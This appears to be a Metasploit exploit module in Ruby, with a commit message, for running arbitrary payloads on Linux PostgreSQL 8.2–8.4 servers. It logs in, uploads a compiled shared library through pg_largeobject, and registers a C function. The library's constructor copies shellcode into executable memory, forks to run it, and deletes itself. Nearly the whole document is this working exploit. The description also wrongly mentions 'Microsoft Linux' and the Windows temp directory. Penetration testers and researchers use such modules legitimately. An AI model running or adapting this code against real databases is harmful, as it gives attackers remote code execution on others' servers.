1eccb24bf8
Also adds some clarifying commentation and adds todb to the list of authors since he wrote the original module for windows upon which this one is based.
199 lines
5.0 KiB
Ruby
199 lines
5.0 KiB
Ruby
###
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'msf/core/exploit/postgres'
|
|
load 'lib/msf/core/exploit/postgres.rb'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::Postgres
|
|
include Msf::Auxiliary::Report
|
|
|
|
# Creates an instance of this module.
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'PostgreSQL for Linux Payload Execution',
|
|
'Description' => %q{
|
|
This module creates and enables a custom UDF (user defined function) on the
|
|
target host via the UPDATE pg_largeobject method of binary injection. On
|
|
default Microsoft Linux installations of PostgreSQL (=< 8.4), the postgres
|
|
service account may write to the Windows temp directory, and may source
|
|
UDF Shared Libraries's from there as well.
|
|
|
|
PostgreSQL versions 8.2.x, 8.3.x, and 8.4.x on are valid targets for this module.
|
|
|
|
NOTE: This module will leave a payload executable on the target system when the
|
|
attack is finished, as well as the UDF SO and the OID.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'midnitesnake', # this Metasploit module
|
|
'egypt', # on-the-fly compiled .so technique
|
|
'todb' # original windows module this is based on
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'Version' => '$Revision$',
|
|
'References' =>
|
|
[
|
|
[ 'URL', 'http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt' ]
|
|
],
|
|
'Platform' => 'linux',
|
|
'Payload' =>
|
|
{
|
|
'Space' => 65535,
|
|
'DisableNops' => true,
|
|
},
|
|
'Targets' =>
|
|
[
|
|
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
|
|
[ 'Linux x86_64', { 'Arch' => ARCH_X86_64 } ],
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Jun 05 2007'
|
|
|
|
))
|
|
|
|
deregister_options('SQL', 'RETURN_ROWSET')
|
|
end
|
|
|
|
# Buncha stuff to make typing easier.
|
|
def username; datastore['USERNAME']; end
|
|
def password; datastore['PASSWORD']; end
|
|
def database; datastore['DATABASE']; end
|
|
def rhost; datastore['rhost']; end
|
|
def rport; datastore['rport']; end
|
|
def verbose; datastore['VERBOSE']; end
|
|
def bits; datastore['BITS'];end
|
|
|
|
def execute_command(cmd, opts)
|
|
postgres_sys_exec(cmd)
|
|
end
|
|
|
|
def exploit
|
|
version = do_login(username,password,database)
|
|
case version
|
|
when :noauth; print_error "Authentication failed."; return
|
|
when :noconn; print_error "Connection failed."; return
|
|
else
|
|
print_status("#{rhost}:#{rport} - #{version}")
|
|
end
|
|
|
|
fname = "/tmp/#{Rex::Text.rand_text_alpha(8)}.so"
|
|
tbl,fld,so,oid = postgres_upload_binary_data(payload_so(fname), fname)
|
|
|
|
unless tbl && fld && so && oid
|
|
print_error "Could not upload the UDF SO"
|
|
return
|
|
end
|
|
|
|
print_status "Uploaded #{so} as OID #{oid} to table #{tbl}(#{fld})"
|
|
begin
|
|
func_name = Rex::Text.rand_text_alpha(10)
|
|
postgres_query(
|
|
"create or replace function pg_temp.#{func_name}()"+
|
|
" returns void as '#{so}','#{func_name}'"+
|
|
" language 'C' strict immutable"
|
|
)
|
|
rescue
|
|
end
|
|
postgres_logout if @postgres_conn
|
|
|
|
end
|
|
|
|
|
|
# Authenticate to the postgres server.
|
|
#
|
|
# Returns the version from #postgres_fingerprint
|
|
def do_login(user=nil,pass=nil,database=nil)
|
|
begin
|
|
password = pass || postgres_password
|
|
vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}")
|
|
result = postgres_fingerprint(
|
|
:db => database,
|
|
:username => user,
|
|
:password => password
|
|
)
|
|
if result[:auth]
|
|
report_service(
|
|
:host => rhost,
|
|
:port => rport,
|
|
:name => "postgres",
|
|
:info => result.values.first
|
|
)
|
|
return result[:auth]
|
|
else
|
|
return :noauth
|
|
end
|
|
rescue Rex::ConnectionError, Rex::Post::Meterpreter::RequestError
|
|
return :noconn
|
|
end
|
|
end
|
|
|
|
|
|
def payload_so(filename)
|
|
shellcode = Rex::Text.to_hex(payload.encoded, "\\x")
|
|
#shellcode = "\\xcc"
|
|
|
|
c = %Q^
|
|
int _exit(int);
|
|
int printf(const char*, ...);
|
|
int perror(const char*);
|
|
void *mmap(int, int, int, int, int, int);
|
|
void *memcpy(void *, const void *, int);
|
|
int mprotect(void *, int, int);
|
|
int fork();
|
|
int unlink(const char *pathname);
|
|
|
|
#define MAP_PRIVATE 2
|
|
#define MAP_ANONYMOUS 32
|
|
#define PROT_READ 1
|
|
#define PROT_WRITE 2
|
|
#define PROT_EXEC 4
|
|
|
|
#define PAGESIZE 0x1000
|
|
|
|
char shellcode[] = "#{shellcode}";
|
|
|
|
void run_payload(void) __attribute__((constructor));
|
|
|
|
void run_payload(void)
|
|
{
|
|
int (*fp)();
|
|
fp = mmap(0, PAGESIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
|
|
|
|
memcpy(fp, shellcode, sizeof(shellcode));
|
|
if (mprotect(fp, PAGESIZE, PROT_READ|PROT_WRITE|PROT_EXEC)) {
|
|
_exit(1);
|
|
}
|
|
if (!fork()) {
|
|
fp();
|
|
}
|
|
|
|
unlink("#{filename}");
|
|
return;
|
|
}
|
|
|
|
^
|
|
|
|
cpu = case target_arch.first
|
|
when ARCH_X86; Metasm::Ia32.new
|
|
when ARCH_X86_64; Metasm::X86_64.new
|
|
end
|
|
payload_so = Metasm::ELF.compile_c(cpu, c, "payload.c")
|
|
|
|
so_file = payload_so.encode_string(:lib)
|
|
|
|
so_file
|
|
end
|
|
end
|